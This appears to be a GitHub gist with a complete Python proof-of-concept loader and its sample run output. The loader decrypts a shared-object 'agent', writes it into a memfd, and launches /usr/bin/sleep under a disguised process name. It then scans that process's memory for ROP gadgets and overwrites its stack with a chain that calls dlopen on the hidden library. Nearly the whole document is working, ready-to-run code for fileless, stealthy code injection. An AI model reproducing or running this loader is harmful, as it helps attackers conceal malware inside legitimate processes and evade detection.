Skip to content

Instantly share code, notes, and snippets.

@X-C3LL
Last active October 19, 2023 09:29
Show Gist options
  • Save X-C3LL/0147fa8865d81560ed657310fb8a6fd5 to your computer and use it in GitHub Desktop.
Save X-C3LL/0147fa8865d81560ed657310fb8a6fd5 to your computer and use it in GitHub Desktop.
Load a shared object inside /usr/bin/sleep via a stack hijack + ROP chain

This is just a Proof of Concept. It does:

  1. Decrypt shared object from disk
  2. Create a new memfd using memfd_create and write the shared object on it
  3. Forks and spawns /usr/bin/sleep in the child using execve with a masked name (here /this/is/a/PoC . The path to the memfd is passed via an env var
  4. The parent reads sleep's /proc/PID/mem and search for gadgets.
  5. Also it looks for the address that would return the nanosleep call inside /usr/bin/sleep, then search for this address in the stack
  6. It uses /proc/PID/syscall to get the return address of nanosleep syscall
  7. Craft a simple ROP chain to execute dlopen(path-to-my-memfd, RTLD_NOW)
  8. Overwrite the return address in the stack
  9. Profit!

Dunno if it can be useful or not, but it was fun to build.

➜ poc xxd /tmp/xc3ll.kab00m.enc| head
00000000: be94 c541 32cd f7f7 a7bd 8e16 e1f7 3a4c ...A2.........:L
00000010: 9405 d289 1b12 3421 34e1 8009 1137 ddcd ......4!4....7..
00000020: 8b01 cde8 0ed0 4098 da33 a182 8c22 e1e6 ......@..3..."..
00000030: cc89 0f7e f927 77f9 05b4 b496 df67 6941 ...~.'w......giA
00000040: a207 4af3 3e10 1bb9 8aeb 1e59 0073 2e68 ..J.>......Y.s.h
00000050: 886b 403f a919 cf08 db82 da91 c103 e3ec .k@?............
00000060: 6294 9b02 bbde 4c3b 061a 570e a430 1218 b.....L;..W..0..
00000070: 2714 1933 1001 b554 4a0d e595 9d08 bb16 '..3...TJ.......
00000080: f366 7b2a 21cd 5c71 b80e 57d6 4481 5988 .f{*!.\q..W.D.Y.
00000090: 7027 f4c8 9ecd 2f46 81b6 f5be 22a6 bf20 p'..../F...."..
➜ poc python3 poc.py
-={ Stack Hijack loader PoC - Juan Manuel Fernandez (@TheXC3LL)}=-
[*] Forking
b'[P*] Decrypting file at /tmp/xc3ll.kab00m.enc'
[C*] Creating sacrifical sleep
[P*] Target PID: 1390094
[P*] Parsing memory maps
[P*] Searching for gadgets...
[P*] Finding: nop
[P*] Checking: /usr/bin/sleep
[P*] Checking: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[P*] Found! => 0x7ff92ada09bf
[P*] Finding: jmp_rax
[P*] Checking: /usr/bin/sleep
[P*] Found! => 0x557f887d489f
[P*] Finding: pop_rsi
[P*] Checking: /usr/bin/sleep
[P*] Found! => 0x557f887d4e71
[P*] Finding: pop_rdi
[P*] Checking: /usr/bin/sleep
[P*] Found! => 0x557f887d47d3
[P*] Finding: mov_rax_rsi
[P*] Checking: /usr/bin/sleep
[P*] Checking: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[P*] Checking: /usr/lib/x86_64-linux-gnu/ld-2.31.so
[P*] Found! => 0x7ff92af88d13
[P*] Finding: return_addr
[P*] Checking: /usr/bin/sleep
[P*] Checking: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[P*] Found! => 0x7ff92ad93083
[P*] Finding return address in stack
[P*] Return address at 0x7fffc38e6bc8
[P*] Located dlopen() at 0x0x7ff92aece990
[P*] Found path at 0x7fffc38e7fd6
[P*] Overwriting stack with ROP chain
Loaded from sleep using a ROP chain!
#!/usr/bin/env python3
# PoC - stack overwrite - Juan Manuel Fernandez (@TheXC3LL)
import os
import subprocess
import time
from ctypes import *
# CHANGE
cloak = b"/this/is/a/PoC" #Change this
env_fd = b"XC3LL" # Env var used to pass the file descriptor
agent = b"/tmp/xc3ll.kab00m" # Encrypted shared object in disk
key = "AdeptsOf0xCC" # Decrypt key
# Gadgets
nop = b"\x90\xc3" # nop; ret;
jmp_rax = b"\xff\xe0" # jmp rax;
pop_rsi = b"\x5e\xc3" # pop rsi; ret;
pop_rdi = b"\x5f\xc3" # pop rdi; ret;
mov_rax_rsi = b"\x48\x89\xf0\xc3"; # mov rax, rsi; ret;
gadget_list = {
"nop" : nop,
"jmp_rax" : jmp_rax,
"pop_rsi" : pop_rsi,
"pop_rdi" : pop_rdi,
"mov_rax_rsi" : mov_rax_rsi
}
def getPathFD():
memfd = CDLL(None).syscall(319, "xc3ll", 1)
path = "/proc/" + str(os.getpid()) + "/fd/" + str(memfd)
file = open(agent, "rb")
data = file.read()
file.close()
os.write(memfd, data)
return bytes(path, 'UTF-8')
def spawnSacrifical(fd):
libc = CDLL('libc.so.6')
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
libc.execve.restype = c_ssize_t
sacrifice = b'/usr/bin/sleep'
args = [cloak, b'10']
env = [env_fd + fd]
cargs = (c_char_p * (len(args) + 1))(*args,None)
cenv = (c_char_p * (len(env) + 1))(*env,None)
libc.execve(sacrifice, cargs, cenv)
def findPID():
for dirname in os.listdir('/proc'):
try:
with open('/proc/' + dirname + "/cmdline", "rb") as file:
data = file.read().decode().split("\x00")
if data[0] == cloak.decode():
return dirname
except Exception as e:
#print(e)
continue
def parseInfo(line):
parsed = {}
info = line.split(" ")
parsed['name'] = info[-1]
addresses = info[0].split("-")
parsed['start'] = addresses[0]
parsed['end'] = addresses[1]
parsed['perms'] = info[1]
return parsed
def parseMaps(pid):
final = {}
binaries = []
with open('/proc/' + pid + '/maps', "r") as file:
data = file.read().split("\n")[:-1]
for x in data:
if "[stack]" in x:
final["stack"] = parseInfo(x)
elif "r-xp" in x:
binaries.append(parseInfo(x))
else:
continue
final["bin"] = binaries
return final
def getSize(mem):
start = "0x" + mem["start"]
end = "0x" + mem["end"]
size = int(end, 16) - int(start, 16)
return size
def findGadget(gadget, mem, pid):
size = getSize(mem)
start = int("0x" + mem["start"], 16)
with open('/proc/' + pid + '/mem', "rb") as file:
file.seek(start)
data = file.read(size)
offset = data.find(gadget)
if offset != -1:
return offset + start
return offset
def hijackStack(rop_chain, addr, pid):
with open('/proc/' + pid + '/mem', "wb") as file:
file.seek(addr)
file.write(rop_chain)
def locateDlopen(target_base):
libc = CDLL('libc.so.6')
dlopen = getattr(libc, 'dlopen')
address = cast(addressof(dlopen), POINTER(c_ulonglong)).contents.value
pid = str(os.getpid())
maps = parseMaps(pid)
base = ''
for x in maps['bin']:
if 'libc.so.6' in x["name"]:
base = x["start"]
break
offset = address - int(base,16)
final_addr = int(target_base, 16) + offset
return final_addr
def findNanosleep(pid):
with open("/proc/" + pid + "/syscall") as file:
data = file.read().split(" ")
return int(data[4], 16) + 0x68
if __name__ == "__main__":
# Spawn child
print("[*] Forking")
fd = getPathFD()
pid = os.fork()
if pid == 0:
print("[C*] Creating sacrifical sleep")
spawnSacrifical(fd)
else:
time.sleep(1)
target = findPID()
print("[P*] Target PID: " + target)
print("[P*] Parsing memory maps")
maps = parseMaps(target)
print("[P*] Searching for gadgets...")
for gadget in gadget_list.keys():
check = 0
print("\t[P*] Finding: " + gadget)
for binary in maps["bin"]:
print("\t\t[P*] Checking: " + binary["name"])
address = findGadget(gadget_list[gadget], binary, target)
if address != -1:
if gadget == "return_addr":
address = address + 2
print("\t\t[P*] Found! => " + str(hex(address)))
gadget_list[gadget] = (address).to_bytes(8, byteorder="little")
check = 1
break
real_ret = findNanosleep(target)
print("[P*] Return address at " + str(hex(real_ret)))
dlopen_addr = ''
for x in maps["bin"]:
if 'libc.so.6' in x["name"]:
dlopen_addr = locateDlopen(x["start"])
break
print("[P*] Located dlopen() at 0x" + hex(dlopen_addr))
dlopen_addr = (dlopen_addr).to_bytes(8, byteorder="little")
path = findGadget(env_fd, maps["stack"], target) + len(env_fd)
print("[P*] Found path at " + hex(path))
path = (path).to_bytes(8, byteorder="little")
rop_chain = gadget_list["pop_rsi"] + dlopen_addr + gadget_list["mov_rax_rsi"] + gadget_list["pop_rsi"] + (2).to_bytes(8, byteorder="little") + gadget_list["pop_rdi"] + path + gadget_list["jmp_rax"]
print("[P*] Overwriting stack with ROP chain")
hijackStack(rop_chain, real_ret, target)
time.sleep(15)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment